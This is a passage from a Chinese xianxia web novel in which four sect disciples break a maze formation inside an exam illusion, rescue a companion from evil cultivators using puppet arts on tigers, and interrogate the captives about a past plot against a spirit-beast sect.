纵然清楚此处是幻境, 小悯不会真的有性命之忧;谭一筠的声音消失, 大概也只是他去寻找解决当下问题的法子了,关云铮的脸色也依旧很难看。事情几乎是顺着她一直以来最坏的料想一路狂奔而去,所有的坏预感都成了真。 关云铮仔细聆听了片刻,确认传音符那边没有声音后,索性动作暴躁地将它一把掖进了衣领里。 可能是她与“祂”交谈过后受了些许影响的缘故, 只是单纯为大比焦虑的叶泯就显得平静多了。 在她无处发火的时间里,叶泯已经让第二张示踪锁定了谭一筠的灵:“灵消失可能是遇上了锁灵阵,也可能是被困进了结界或者幻境,被暂时阻绝了,小悯大概率并无大碍,别着急。” 关云铮没多说,操纵摇羽跟着示踪继续往前飞。 两人御剑飞行一段时间后,飘在前方的示踪在空中迟疑地打了个滚,而后目的明确地向下俯冲。 ——到了。 二人毫不犹豫地跟着俯冲而下,即将贴地时才稍稍拔高剑身,从剑上一跃而下,同时抬起右手接过飞旋至手中的佩剑。 再往前大概就是小悯的灵消失的地方,示踪到此完成了它的使命,变成了一张暂时没有反应的待机符咒,飘在叶泯身侧。 此地确实是个荒村,村口的小河已经彻底枯竭,苍白的河床显露出来。河上的木桥自然也成了摆设,想要行到对岸之人可直接踩着河床而过,不必忍受这“横生枝节”的桥面。 关云铮和叶泯没多耽搁,脚下一齐发力,直接用轻功跨越过那条窄河,来到了桥的尽头。 村口的牌子只剩半块,一个斑驳的“村”字在风中摇摇欲坠,剩下半块携带信息的牌子不知去哪了,关云铮抬头打量了瞬息,将牌子的模样稍稍记了记便收回视线:“话痨的灵还在吗?” 叶泯侧过头看了眼缀在一旁的示踪:“还在。” 关云铮短促地一点头:“我们进去。” 叶泯正要跟上,忽然被脖颈上的灵犀用脑袋撞了撞肩头。 “怎么了?”他侧过头看向肩头的脑袋。 灵犀抬起身子,向着叶泯这一侧耳朵嘶嘶几声。 叶泯面色古怪道:“云铮,灵犀‘说’,此处有迷阵,不可擅闯。” 关云铮皱眉:“那方才话痨耽搁在这的时间,是在想破阵的法子?” “大约是的。”叶泯向前望了望,只见眼前的景象与他们所在之处一般无二,既没有迷雾又没有物件遮挡视线,让人实在想不通这迷阵究竟“迷”在何处。 谭一筠是破阵之后进入荒村的,之间确实经过了一段时间的沉默;而小悯发声与沉默之间的间隙太短,应当还来不及破阵,所以她应该是刚进入幻境,就被“分配”到这个点位了。 是章存舒刻意为之,还是其他共同布置幻境的人蓄谋已久?四人在幻境中遭逢的一切,会是别人的处心积虑吗? 关云铮收回思绪,看向叶泯和灵犀:“是哪种迷阵,灵犀探知得出来吗?能不能飞到高处找到破局之点后硬闯进去?” 叶泯感觉了一会儿灵犀的“言语”,看向关云铮:“可以试试。” 他话音刚落,刚落地没多久的关云铮已经再度飞起,踏着摇羽向着荒村上空进发了。 只可惜,她没飞到多高,也没飞出多远,就被空中一道存在感极强的屏障弹了回来,相撞的力道太大,险些将她直接从剑身上掀翻下去。 关云铮用了几次试探,摸清了屏障的边界,向下喊道:“上空有屏障,能看见的也不多!” 她喊话间已经下了决定,摸出传音符对着另一边说:“我必须进去看看,如果能从内部破阵,到时候你再进来。” 此刻能在传音符另一边听见她说话的只有叶泯,此言一出,地上的叶泯立马急了:“我留在外面能做什么!不如让我进去!” 关云铮笑了声:“怎么还是这么没自信,你能做的多了,逮着灵犀稳妥些地探路也未尝不可。” 叶泯抬头一看,只见关云铮降了些高度,确认屏障只在高些的位置存在后,便操纵着摇羽冲进了荒村中。 “云铮!” **** 硬闯迷阵的滋味很不好受,关云铮竖着进来的瞬间就被阵法反噬,横着飞了出去。 胸口闷震,关云铮被一股强劲的力道直接拍落,在地上滚出去好些距离才勉强止住,摇羽飞过来时,她正好吐出一口血。 “你什么时候变得这么莽撞了?明明有更好的办法,怎么就偏得硬闯?”摇羽叹了口气,听上去恨不得当场化形用胳膊把她扶起来。 关云铮撑住自己坐起来,随手抹掉嘴角的血:“我总担心方竞甫被有心之人放进了此次大比,幻境会受他影响变得无法掌控,生出更多的危机。” “那叶泯怎么办?”摇羽问道。 “要对他有信心。”关云铮笑了笑,从地上爬起来,感觉到自己脑后的头发也散了,索性用发带将所有的头发都束起来,强行绑成了高马尾。 摇羽还想说点什么,被关云铮打断了:“好了,开始破阵吧。” “你说得容易,我们连这里究竟布了个什么样的阵都不知道,怎么破?”摇羽恨铁不成钢似的说道。 关云铮没搭理它的大呼小叫,解了腰间的霄汉,干脆在地上盘腿坐了起来。 兴许是她这段时间肝火郁结,吐出一口血后竟诡异地觉得肺腑之中好受许多,像是压在心口的大石被骤然搬走了一样。 在这种畅快的感觉驱使之下,她思绪运转的速度比往常快了不少,识海中的将隐几乎是飞速地运作着,试图帮助她从记忆中寻找出足以作为破阵依据的片段。 “我后来又精修了一阵子锁灵阵,方才叶泯急着安慰我,可能忘了这一茬——锁灵阵其实并不能使一个人的灵消失,只是暂时将灵封存在一个人体内,相当于给一扇门上了一把只有布阵之人有钥匙的锁,布阵之人不将阵法解开,灵就永远无法突破这扇门,但它仍在门之后。”关云铮闭着眼说道。 摇羽悬浮在她身侧:“所以此地阵法并非锁灵阵?” “小悯的灵会消失,大概与此地阵法并无关联,因为话痨硬闯阵法,至今灵仍在示踪可追踪范围内。”至于叶泯推断的结界,倒是有可能让灵“消失”,但鉴于结界是一种十分唯心的存在,又非常考验布下结界之人的修为,故而灵的存在往往不能被完全抹除,而是会变得有些飘忽不定——毕竟在打开盒子之前,没人知道里面的猫是不是活着的。 与薛定谔的猫同理,在解开结界之前,对于看不到结界的人而言,没人知道结界究竟在何处,示踪也就无法探知清晰“灵”的去向,故而如果真是结界,示踪不会直接一头栽下,定会在空中扭曲舞动好一番光景。 知晓这一点后,入口的这处迷阵就没什么可顾忌的了。关云铮确认了一番,发觉传音符另一边当真没法传来任何动静,而新的示踪又明确显示谭一筠的灵尚未消失后,果断抬手,用平日里与任嵩华对打的架势,朝身后阵法的入口劈了一刀。 如果不是几刀过后,空中传来了明显的破裂声,关云铮会觉得自己这样挥舞横刀的样子像是在做无实物表演,还是比较滑稽、相当无能狂怒的那一种。 摇羽自然也听到了那动静:“这阵法究竟是什么东西?为何看不分明却有实体?” 关云铮随口答:“谁知道呢,玻璃迷宫吧。” 摇羽一头雾水:“玻璃?” 关云铮只答了那么一句,而后一直在心无旁骛地朝同一个方向劈,坚信自己能水滴石穿般地不懈努力着。 “云铮?”传音符里传来叶泯断断续续的声音,“我好像能听见你那边的声音了,看来我的攻势起效了?” 关云铮偏过头,对着掖在衣领里的传音符答话:“我也能听见你的了,这阵法能用蛮力破开,看来只是故布疑阵,也不知道是话痨下意识想多了,还是他和我们遇上的不是同一个阵法。” 话虽这么说,其实关云铮和叶泯都清楚,谭一筠大概率遇上的是另外一个。 因为关云铮进入阵法后没有看到任何前人留下的痕迹,谭一筠也绝非那种“聪明反被聪明误”的类型,恰恰相反,他非常懂得及时收敛自己的思绪,时刻警惕,不让自己往更深沉的地方滑落。 思想是一种毒||药,剂量越大,毒性越强,轻微的情况下会让人产生幻觉,严重时致死。 可能这个阵法也是一种唯心的存在,在关云铮把它当做玻璃笼子后,打碎的瞬间,她似乎真的听见了玻璃炸裂的声音。 而后她从破开的缝隙里看到了朝此处狂奔而来的叶泯:“你没事吧云铮?!” 关云铮收起刀,又将仍在喋喋不休的摇羽收回剑鞘:“还行,吐了口血,没大问题。” 叶泯失语片刻:“你也不能因为这是幻境,就觉得吐血是小事吧。” 关云铮充耳不闻地装傻。 叶泯拗不过她,正要对这个话题屈服,说些别的,就见关云铮探出脑袋,往阵法外看了看。 “哇哦。”关云铮收回脑袋,“你的符咒还够吗?我看外面全是你符咒轰出来的痕迹,比我内面的还惨烈。” 叶泯从乾坤袋里摸出一块墨锭,又摸出一沓空白的符纸:“不够我就现场画。” 出现了,仗着有隙影什么都往乾坤袋里塞的奇人。 奇人关云铮心说。 两人说完缓解气氛的没营养话题,一同收拾心情往荒村里面走。 “我方才情急之下想岔了,灵会消失理应与这阵法没什么关系,锁灵阵和结界也不能完全让灵消失,所以应该有别的因素在影响。”叶泯说道。 关云铮点了点头,一面走,一面提高警惕扫视着周围。 荒村中全无人烟,唯有的一点动静便是风拂过地上和屋檐枯草的沙沙声。所幸此处窄巷不多,不然风声在窄巷中流窜,容易变得凄厉无比,听起来与哀嚎无异。 两人往里走了好一阵,都没发现任何异常,直到拐过一处路口,两人身上的传音符里忽然同时传出了谭一筠的声音:“你们进来了?” 叶泯一把抽出衣襟中的传音符:“你在哪?” 谭一筠似乎刚结束了一场恶战,喘得很厉害:“我方才听不见传音符里的声音,便用示踪追寻踪迹,发觉你们忽然之间离我很近,料想是强行破了阵法进来了。”他解释完自己的情况,又回答叶泯的问题,“示踪能正常运作,跟着它走吧。我也不知道自己在什么鬼地方,但我已经找到小悯了。” 关云铮和叶泯一同脱口道:“小悯怎么样了?” 谭一筠低低地咳了几声:“我没法靠近,看不出她状态如何,但我隐约有个猜测,关于小悯的灵为何会消失。” “为什么?”叶泯追问道。 两人发问的间隙也没忘了跟着示踪的指引疾步走着,谭一筠的喘气声越来越重:“不是锁灵阵,也不是结界,我猜你们也想到了这两种可能。” 他听起来更像是受了伤,关云铮皱了皱眉,脚下的步子更快了些。 “小悯应当是中了傀儡术。”谭一筠说道—— 作者有话说:连滚带爬地赶出四千字……然后我去统计一下这段时间的加更,要是明天手感好大概能发出来,不能就照常……总之感谢追更的读者能包容这个懒菇[可怜] 第170章 “傀儡术?!”饶是对幻境的坑人程度有所预料, 关云铮和叶泯也还是没忍住发出一阵低呼。 但要说往死里坑……好像也没到那份儿上,毕竟章存舒又在“泄题式教育”了,傀儡术不正好是前些日子他抓着谭一筠, 给后者开的小灶吗? 被开过小灶的谭一筠在传音符那边抽了一口气:“你们应当快到了, 我在一处破屋里,门口有道破了洞的篱笆, 来时能看见。” 他说话的声音几乎成了气声:“等……你们来了再说。” 这还有什么是听不出来的, 关云铮和叶泯对视一眼,心知谭一筠一定是受了伤,恨不能肩后生出两翼,就这么飞过这段距离。 好在示踪的指引无比精确,成功将两人引到了破屋之前。 关云铮四下环顾,确认无人在附近后, 又布了个简易的防御阵法在入门的必经之路上,跟叶泯一前一后推开门进了破屋。 谭一筠几乎是形容狼狈地蜷缩在窗下一角, 乍一看有些像是江县幻境中的那个小男孩。 关云铮朝他走过去的这几步里就把乾坤袋里所有的药瓶掏了出来:“受了什么伤,凌师伯给的药服用了吗?感觉如何?” 谭一筠蹭着墙点了点头:“药已经服下了, 但是外伤……”蹭动间大概又扯到了伤口, 他疼得一皱眉,“我实在没有力气包扎。” 虽然他的伤口不在什么没法见人的位置,但劳动姑娘肯定是不行的, 他的目光落在一脸担忧的叶泯身上:“只好劳烦你了。” 关云铮退开半步让出空间, 叶泯叹了口气,从乾坤袋里翻出包扎所需的纱布。他靠近时谭一筠自觉摊开一直捂着腰腹的手,只见他五指间尽是鲜血,衣裳被血染红,竟一时看不出破口的模样。 但当叶泯拿着纱布半跪下来时, 他一眼就识出了伤口的形状:“有人在用傀儡术驱使猛兽?” 只见谭一筠的腰腹处,布料赫然被兽爪撕扯出了几道划痕,布条碎裂成几段,藕断丝连地缀在余下的布料上。 谭一筠先是被叶泯无情地撒了半瓶愈合伤口的药粉,紧接着又被他包扎时的动作紧得眼前一阵发黑,没忍住哼笑了声:“你是要谋杀我吗叶兄?” 他一笑便又觉出疼痛,一痛便苦了一张脸,一时脸色悲喜交加,不像被猛兽挠伤了腰腹,更像是被打伤了脑子。 这异彩纷呈的脸色看得叶泯一时失语,他默不作声地将一卷纱布全部裹缠上去,见没有新的血色沁出,这才收手:“我现在杀你还用得着谋?” 喘气都喘不利索了。 谭一筠搭着叶泯的肩往墙上蹭了一段,将自己从蜷缩的状态勉力展开:“小悯应当是入幻境后没多久便中了圈套,不知是章先生的算计,还是其他人别有用心的图谋。” 虽然他们都已经被章存舒坑得没脾气,但这次属实太过凶险,而且毫无铺垫地来了这么一招,对四人的心理冲击太大,除了此刻毫无音讯的楚悯,三人几乎都还有些茫然。 “好在”谭一筠持续往外散发着血腥味,熏得关云铮不得不提起注意力应对当下的局面:“若是附近有猛兽,你这一身血腥味遮盖不住,迟早要被它们寻上门来。” 谭一筠又笑了声:“我在这破屋周围布了个遮掩气息的阵法,一时半会儿之内还是安全的。” 关云铮面无表情:“那一时半会儿之外呢。” 谭一筠嬉皮笑脸:“等着被挠吧。” 叶泯简直没脾气:“伤了你的是什么猛兽,你可看清了?” “寻常猛虎,大概不是灵兽,完全不通人言,因此中了傀儡术之后格外好操纵。”谭一筠答道。 寻常猛虎…… “你说你找到小悯了,离这远吗?”关云铮仿佛没吐过那口血似的,提刀就要走。 谭一筠徒劳地伸手拦了拦,拉扯间痛得眼前又是一黑:“等等,嘶……” 关云铮回头看他:“药还没起效?” 谭一筠哭笑不得:“又不是传说里的仙丹,麻痹痛觉总需要些时间。”他被叶泯扶了一把,索性把自己撑起来,坐到木榻上,“我们都担心小悯的安危,但是云铮,你是不是有事瞒着我们?” **** 被傀儡术操纵是什么感觉?楚悯在章先生提出要教谭一筠傀儡术时,就思考过这个问题。 只是她没想到,真正想清楚这个问题会是在此刻,在她逐渐失去对身体的掌控权时。 她原本以为,傀儡术应当在瞬息之间便能夺走人对的躯体的掌控,却没想到这个过程会这般漫长。她逐渐感觉不到自己的四肢,躯干,而后脖颈也变得僵硬,她只能在彻底失去掌控前,最后看了一眼自己的掌心。 那里有一个散发着微弱光芒的卦阵,在一旁的火光映衬下显得无比羸弱,但已经处在运行状态之中。 “门主,对活人用傀儡术是否太过冒险了?我们还不能确定这周围有没有其他人,万一她的同伴就在附近……” 楚悯轻轻呼出一口气。 “啰嗦,我们在村口布的阵法两炷香的时间便会更换一次,运气好的硬闯进来,至少得脱层皮;运气不好的遇上迷阵,就只能困死在里面,就算有同伴,也别想赶过来救她。” “方才那个小鬼会不会就是她的同伴?” 楚悯缓慢地眨了眨眼。 “谁知道,他不是都被老虎伤了吗,你管那么多做什么。这次的目的是试验新的术法威力,别忘了我们的任务。” 楚悯试着收拢掌心,掩盖住卦阵微弱的光,然而两手毫无响应,无边无际的寂静就像潮水般逐渐上涌,没入了她的口鼻,合上了她的眼睛。 “成功了?”一人凑上前问道。 “成功了,等她再睁开眼,应该就是任凭我们差遣的傀儡了。”被称作“门主”的人说道。 第三人接着自己方才的话说道:“怎么不干脆让你那头老虎把那小鬼杀了,正好能喂这一群畜生。” “杀人哪有那么容易,那人显然也懂法术,会中招是因为毫无防备,等他回过神来,下嘴的时机早就没了。”负责用傀儡术操纵猛虎之人嗤了一声,没对另一人堪称门外汉的话表露太多不满。 猛兽捕猎时常常是一击必杀,按理来说没有活物能逃脱虎口,但兴许是它身上的傀儡术才施行成功,调动起躯体来并不十分简单,故而动作有所迟滞,也是理所当然。 “行了,哪来这么多话,这人快醒了。”“门主”不耐烦地打断二人的话,“就用她试试,活人中傀儡术后能否对我们知无不言吧。” 火堆边的姑娘缓缓睁开了眼睛,操纵猛虎之人上前一步,开始了对她的问话。 “姓名?” “楚……楚悯。” “何方人士?” “盈川。” “你是仙门人?” “是。” 三人不由对视了一眼。难道方才那小鬼真是此人同伴?她还会有更多同伴在附近吗? “门主”神色莫辨地沉默片刻,忽而笑了笑:“也好,仙门弟子若中了我们的傀儡术,造成的影响想必更为巨大,也是时候给仙门带去些乱子瞧瞧了。” 有了这样的念头,另外两人受了莫大的鼓舞般,之后的问话变得越发密集。火堆在人声之中偶尔发出几声木柴燃烧的“噼啪”声,应和着他们似的。 “你是仙门人?修的什么道,师从哪个门派?” “师从……灵兽派,音修。” 音修?难道她是附近鹧鸪山的弟子?这下可有些不太妙……鹧鸪山向来护短,要是察觉丢了个弟子,恐怕当真能带着一大帮灵兽往这边找过来,到时候可就不是用傀儡术操纵几人那么简单了…… “音修?那你的乐器在何处?”操纵猛虎之人急道。 他话音才落,屋中忽而起了一阵毫无预兆的风,扑得火堆的火焰一阵摇晃,几乎被吹灭。 “门主”皱起眉头,看向另一人:“你回来时没关门?” “不可能啊,我连窗都没开。”那人一头雾水地回头看。 怪事,分明门窗紧闭,究竟哪来这么大的风? 负责问询的人却忽然注意到了什么,忙扭身说道:“你们看她手心,那是个什么东西?” 火焰几乎被风吹灭的瞬间,一直被火光掩盖的光芒终于晃到了他的双眼。 他的话成功引得“门主”与剩下一人调转视线看来,只可惜,已经晚了。 看似全无理智,彻底沦为傀儡的人忽而在没有指令的情况下拢起了自己的掌心。 看清她动作的瞬间,一阵凉意陡然爬上了三人的脊背。 ——关云铮强行破门而入时见到的便是这样的景象:楚悯安然无恙地提弓站在屋子一角,而屋中另外三人不知中了什么招数,正倒在地上,尽数陷入了昏厥。 紧随关云铮身后的叶泯才刚跨过门槛,见势便是一顿:“死了?” 楚悯一翻手腕,手上的月下逢没入虚空:“没死,只是被律震昏了。” 她转过身看向二人:“我方才听见他们说有人闯入了阵法,还受了伤,是谭一筠?” 关云铮点点头,上前快速查看了一番她的伤势,确认没有任何伤口后才说:“他在附近的破屋里休整,我们先来找你。” 叶泯走到昏迷的三人身前,知道还有事情需要从他们口中问出来,不能在此时下杀手,但又实在气不过,于是默默摸出自己的陶埙,吹了一首短促的曲子。 纵然并不是对着关云铮和楚悯吹的,但两人还是从曲子杂乱无章的节奏和杀气腾腾的音律中听出了一丝不适,关云铮迟疑:“让他们听了做噩梦?” “何止,够他们在梦中死上千百回了。”楚悯评价道,“附近中了傀儡术的兽类如何?你们来时可遇到了危险?” “说来奇怪,我们这一段路什么兽类都没见到。”叶泯揣测着,“难道是其他弟子也到了附近,将它们引走或是解决了?” 楚悯一进幻境就被坑了,差点忘了此次还有他人也在幻境中,闻言了然:“不无可能,这大概就是此次大比的难题。” **** 哪怕叶浔提供的灵石可以给三人供给足够的灵气,随意使用御物术都不成问题,搬动三个成年男人也实在太过折腾了。三人没怎么合计便得出了一致的意见:劳动谭一筠这个病患再跑一趟。 传音符那边很快传来了他的声音:“小悯当真解开了傀儡术?” 关云铮不明白他这话的用意:“怎么,你对这个结果很失望?” 谭一筠冷笑:“没什么,我只是觉得让伤患折腾这种事你和叶泯确实做得出来,可小悯应当会劝阻几分,既然同意,大约是傀儡术尚且未解,还没通人性。” 楚悯其实还有些没从被傀儡术操控的感觉中摆脱出来,听见这句过分生动的话,终于有了些实感,失笑道:“摆脱了,方才多谢你冒险来救我。” 谭一筠那边传来了开门的声音,他边走边说道:“我都没好意思提,那算什么搭救,差点把我自己都搭进去,也没见你被救出来。” “你来的路上注意点,附近可能有别的参试者。”关云铮靠在窗边打量着外面的土路。 谭一筠随手画了个防御阵法捏在手里,同时甩出子不语在前方开路:“要是我和人打起来了,你们可得出来帮我啊。” “废话。”关云铮抱着双臂,“我让摇羽第一时间载着我去救你。” 拢共就这么点路,怎么弄得像是葫芦娃救爷爷似的,来一个搭进去一个般波折。 “小悯是如何解开傀儡术的?”谭一筠在那边问道。 “我一进入幻境便在这间屋子附近,与你们传音时正准备离开此地,被那些兽类发现了踪迹。”楚悯三言两语地说完了自己中圈套的全经过,“好在它们那时已经中了傀儡术,没把我当作口粮。” 兽类对气味的灵敏度确实远超于人,哪怕是五感灵敏的修道之人,恐怕也没法与兽类的先天优势打成平手,依旧得落后一大截。 她对此次幻境将要考察什么一无所知,索性装作全无防备被三人绑回了屋子。 在意识到三人要对自己施行傀儡术之前,她在掌心启了一个卦阵。 “大概就在进入幻境的前几天,我发现卦阵的力量与月下逢可以完全地互相转化,也就是说……” “只要你能提前开启卦阵,这份能量就能召出月下逢?”谭一筠接上她的话茬。 楚悯点头:“卦阵使用的是我的灵气,某些时候也像是我神魂的延伸,所以在傀儡术对我起效的期间,这部分神魂一直在试图解除傀儡术对我的禁锢。” 相当于她在早有准备的情况下提前割出了一部分理智在体外,随时能反向将她刺激清醒,彻底摆脱傀儡术。 至于逐渐清醒之后操纵月下逢击昏三人……对楚悯来说就更轻而易举了。 想来是凌风起的药发挥了作用,谭一筠赶来的速度很快,说话间已经到了门外,下一句话从传音符另一边和他口中同时传来:“不愧是小悯。” 他衣裳上还残留着大块的血迹,方才坐着还没那么明显,一站立起来几乎触目惊心,三人沉默着与他对视片刻,全都默契地低下头,开始在乾坤袋里翻找能给他穿的衣物。 谭一筠低头看了眼自己腰腹处的一片狼藉,顿时也沉默了:“这位置好像是有些凶险。” 叶泯扒拉出一件不知谁塞进他乾坤袋的外衣,一把塞进谭一筠手里,忍笑道:“将就披上吧,反正这儿风大,多穿件也不冷。” 关云铮不用找衣服了,又随手抛给他一瓶丹药:“专治兽类咬伤挠伤的。”她丢出丹药便往窗边靠了回去,“本来觉得你换一身衣服比较好,但叶泯好像忘记这茬,给你包扎在外侧了。” 叶泯凝滞,才想到此事似的:“对啊。” 一旁的楚悯围观这一切,笑得眼睛都弯了起来:“是凌师伯被栖霜咬伤挠伤过,才做出了这瓶丹药吗?” 关云铮思索几息:“大概?不然就是他早知考题却不直说,回去我就跟他对骂。” 谭一筠拎着衣服忍了又忍,最终还是没忍住:“我说你们能不能稍稍在意一些我这个伤患的心情?” 关云铮一脸莫名:“药给你了,衣服给你了,怎么,还想要我言语关心一番?” 谭一筠光速抬手打住她的劲头:“不必,我好了。”—— 作者有话说:营养液233+评论2=4760 也算是补上之前不够的字数了吧……《 》 170-175 第171章 “姓名?” “……” “何方人士?” “……” 楚悯复述了一遍此人方才所问的问题, 得到的皆是沉默,站在一旁的关云铮忍不住笑了声:“你们是觉得沉默能够让我们束手无策?不会真以为我们只有审问这一个法子吧?” 傀儡术又不是什么邪修专属,难道这些人真以为这是什么神乎其神的法术, 只有他们掌握了其中奥妙? 关云铮退开一步, 让身后的谭一筠上前:“懒得跟他啰嗦,话痨, 你来吧。” 谭一筠自然明白她的意思, 然而还是顺嘴玩笑道:“怎么,我这个话痨术业有专攻?” 专门负责啰嗦? 叶泯顺手把屋里的一把竹椅搬到他身后:“坐着吧,我出去看看有没有别的参试者在附近。” 关云铮闻言立刻就要跟上,却被叶泯抬手一指:“你方才强闯阵法受的伤还没处理,也给我老实待着。” 虽然与叶浔是同胞兄弟,但与他眉眼成熟的兄长比起来, 叶泯的眉眼还有些没长开,多数时候都是带着笑意的, 看起来更显几分稚气。可当他收敛笑意,完全地挂下脸, 眉眼便顿时与叶浔相似起来, 带着几分不好惹的威压。 关云铮竟被这眼神看得有点心虚,正要为自己辩解,却听身后的谭一筠和楚悯同时问道:“你受伤了?” 两人话音一出, 楚悯微愣, 又看向谭一筠:“连你也不知道?”她自己进入幻境没多久就与同伴失联,不知情也就算了,怎么连谭一筠这个一直保持联系的,都对此事一无所知? 关云铮见势不妙,谨慎地向后退了一步, 抬起手来向三人求饶:“我这就服药,别生气。” 关心她的人还没来得及说话,地上那位一直沉默的反倒开口了:“你也是硬闯的?那在你之前……”他的目光看向谭一筠,“他又是怎么进来的?” 谭一筠一脸莫名,仿佛他问了个难以理解的蠢问题:“解谜啊,那不是个迷阵吗?” 地上之人更是匪夷所思:“你居然解开了迷阵?不是硬闯的?” 谭一筠颇觉好笑:“你们究竟是哪来的邪修,把傀儡术当宝也就罢了,居然还把这样基础的迷阵视作固若金汤?” 地上的邪修被他的话语刺痛,一脸郁卒地闭嘴了。 关云铮服了药,摸出水壶灌了一口水,又抱臂靠到窗边。叶泯见她已经老实服药,这才拉开门往外走。 “当心些。”谭一筠说道。 叶泯摆了摆手:“我就在附近转转,毕竟不是所有参试者都可信。” “参试者?你们是来参与什么比试的?”地上的人捕捉到关键词,死灰复燃似的抬头追问。 问的时候一个屁都放不出来,不问反倒叽里呱啦起来了。关云铮不太耐烦地“啧”了声:“问你了吗就在这说话,话痨,快让他闭嘴。” 谭一筠挑眉一笑:“好嘞,这就让他闭嘴。” 虽然早就知道谭一筠在章存舒的教授下,将傀儡术学得十分熟练,但目睹施术毕竟还是另一回事,更何况之前谭一筠操纵的对象都是死物,这还是第一次操纵活物。 谭一筠手中的傀儡术和先前殷含绮用来对付季邕的手段有些像,看起来都是先麻痹对方的知觉,而后对记忆做一些手脚,让人“主动”说出实情。 关云铮和楚悯并肩站着,等待着傀儡术起效的期间没忘了低声交谈。 “你还是觉得此事有方竞甫从中作梗?”楚悯问道。 关云铮点点头:“哪怕抛开方竞甫不谈,这次幻境也确实和以往的不太相同,虽然其中的人仍然是从未见过,‘配合’我们考核的存在,但痛觉太真实了,没有得到任何削弱。” 她吐血的瞬间耳朵都是聋的,在地上听了好一阵的嗡鸣才清净下来。 “看来用幻境形容此次考核不太恰当,此地更接近一个……结界。”楚悯说道。 那就更麻烦了。 关云铮叹了口气,又开始为大比发愁。 只是她一口气还没叹完,谭一筠已经将傀儡术彻底施行在那人身上,回头看了过来:“有什么想问的?” **** 叶泯出去查探还没回来,余下三人也没有操纵他人做事的想法,只让被操纵者说出些想要的情报后,就把人重新药昏了丢在一边。 虽然动作十分熟练,但关云铮心里仍有些接受无能,倒不是内耗,只是——“凌师伯给我们的药里为什么有这么多迷药?这对吗?”她百思不得其解,索性打破三人心照不宣的沉默。 楚悯默默看向她,没说话——毕竟关云铮手中那瓶药是从她的乾坤袋里拿出来的。 谭一筠也低头看了看自己手中的药瓶:“这不太对吧。” 话虽这么说,关云铮倒也没有站在道德制高点指责凌风起的意思,毕竟手段的最终导向是目的,抛开目的谈论手段是否正当是毫无意义的。凌风起给迷药绝不是让ta们拿去药倒同伴的,这就够了。 “所以这个结界确实是仿照鹧鸪山而建,灵兽派就在离此地不远处。”楚悯总结了一番供词,“他们兵分几路,想用傀儡术操纵猛兽后,分头攻入灵兽派或是山脚村庄。” 门口设下的防御阵法对自己人不示警,叶泯才推门而入就听见这么一句,动作不由顿了顿。 三人听他进门却不动,一同回过头来。 只见叶泯正扶着门作沉思状,感受到三人的注视才抬起头:“我好像记得这件事。” 他合上门,掸了掸木榻上的灰,坐上去后才说:“大概是三四年前,我和哥哥还在门内练习引气入体,因为没有修为,个子也小,父亲不太让我们出门,所以没能目睹此事,只是听说。 “有一帮邪修闯入了鹧鸪山,用不知什么法子绑走了几只灵兽,而后山脚下各处村庄就发生了猛兽伤人甚至杀人的事。” 说到这,叶泯终于明白自己见到谭一筠伤口,又听他说只是寻常猛虎所伤时,心头那阵萦绕不去的似曾相识感从何而来了,“那一次整个鹧鸪山伤亡惨重,不只山下村民,连灵兽派也死伤不少,这算得上是建派以来最为沉痛的事,父亲很少提及,我也对此知之甚少……” 叶泯完全陷入了回忆之中,喃喃自语道:“那之后鹧鸪山中很多人对灵兽的态度就发生了转变,出现了一群一直打着屠杀灵兽口号的人,原来不是灵兽所为……” 分明是被傀儡术操控的寻常猛兽,甚至可能不是鹧鸪山中的! 关云铮抬手在他眼前打了个响指:“回神了。” 叶泯被她打断回忆,抬起头时神情还有几分茫然。 “再不回神要给你来道清心诀了,我的清心诀可没小悯的那么温和。”关云铮顺势在他身边坐下,岔开当下的话题问道,“方才你出去探查,有什么收获?附近有其他参试者吗?” 她当然明白叶泯在想什么,楚悯和谭一筠自然也明白。除了第一次的江县幻境,章存舒布置的每一个幻境都是已经发生过的既定事实,哪怕在幻境中被合力更改,也不会影响现实。 可“知道事实如此”和“亲身经历”到底是不同的。哪怕知道被抓走的灵兽再也回不来了,还背上了本不该由它们背负的骂名,哪怕在幻境中揭发这一切,更改这一切,回到现实后,偏见依旧会存在,对灵兽的虐杀依旧不会停止。 何其无力。 叶泯不知该说些什么,灵犀母亲的死状仿佛就在他眼前,一幕幕清晰得如在昨日。如果不是当年这场人祸,如果不是有人故意栽赃给一群无法开口为自己辩解的灵兽,怎么会闹到这步田地…… 好在进入此地后,他就把灵犀收回灵笼了,听不见这些污遭的事也好。 关云铮看穿他在想什么似的,有些自嘲地说道:“我之前看过一句话,‘永远不要试探人性’,它是这世上最经不起考验的东西。没有当年的那场祸乱,还会有别的;没有邪修离间人与灵兽,人会自己妄生揣测,毕竟非我族类,其心必异。” 大概是觉得这话实在扎嘴,关云铮“嘶”了声,又说道:“所以方才进入幻境,那姑娘一声不吭便对我下手,难道以为我是邪修,来偷灵兽的?” 叶泯当时默认这幻境是仿照近两年的鹧鸪山而建,那姑娘是灵兽派常年派在山间巡视的弟子,猎杀灵兽之人从来都有,没觉出什么特别。如今听了供词和关云铮的话,才后知后觉,那可能是多年以前灵兽派对此事有所察觉,做出的回击。 可那姑娘还是放过了云铮,因为她不曾表露出任何主动攻击的意图。 但善恶是可以伪装的,纵然云铮没有恶意,可心怀恶意之人未必不会扮作纯良——灵笼是随身法器,又没法一打眼就看出来。 当年山下的村民是不是也以为,那些被傀儡术操控的猛兽是与他们朝夕相伴的灵兽,所以没有任何防备? 谭一筠起身,将竹椅拎到木榻前,重新坐下之前抬手搭了搭叶泯的肩:“章先生布设这样的幻境,绝对不是为了让我们沉湎于过去的沉痛中,”他正色说完这句,忽而又笑道,“再说了,你也不是这样的人。” 四人皆非这样的人。 叶泯缓缓呼出一口气,也暂时收起了自己的消沉:“这个荒村中暂时只有我们四人,没有其他参试者,可能是被那随时更换的阵法拦住了。不过附近的猛兽全都不知所踪,我循着痕迹找了一段路,发觉是顺着荒村的另一个方向走的,离这太远,所以先回来了。” 楚悯随手召出月下逢,琴身如水般流入她手中,自然而然地倾泻出一段音律。 “不如我们先将这三人押往灵兽派,再回来追踪猛兽的痕迹?”楚悯显然“卜算”出了结果,思索着问道,“或者兵分两路?” 四人共同为某件事出谋划策时,楚悯的建议往往会存在一个极大的问题:她很少考虑自己。 分头行动固然是考虑到去一趟灵兽派后,再回来追击会耽搁时间,但在对手人多势众时其实不是个好法子。楚悯自然清楚这一点,她所说的分头行动大概也是自己作为卜算的先锋打头阵,大概率又是首当其冲的位置。 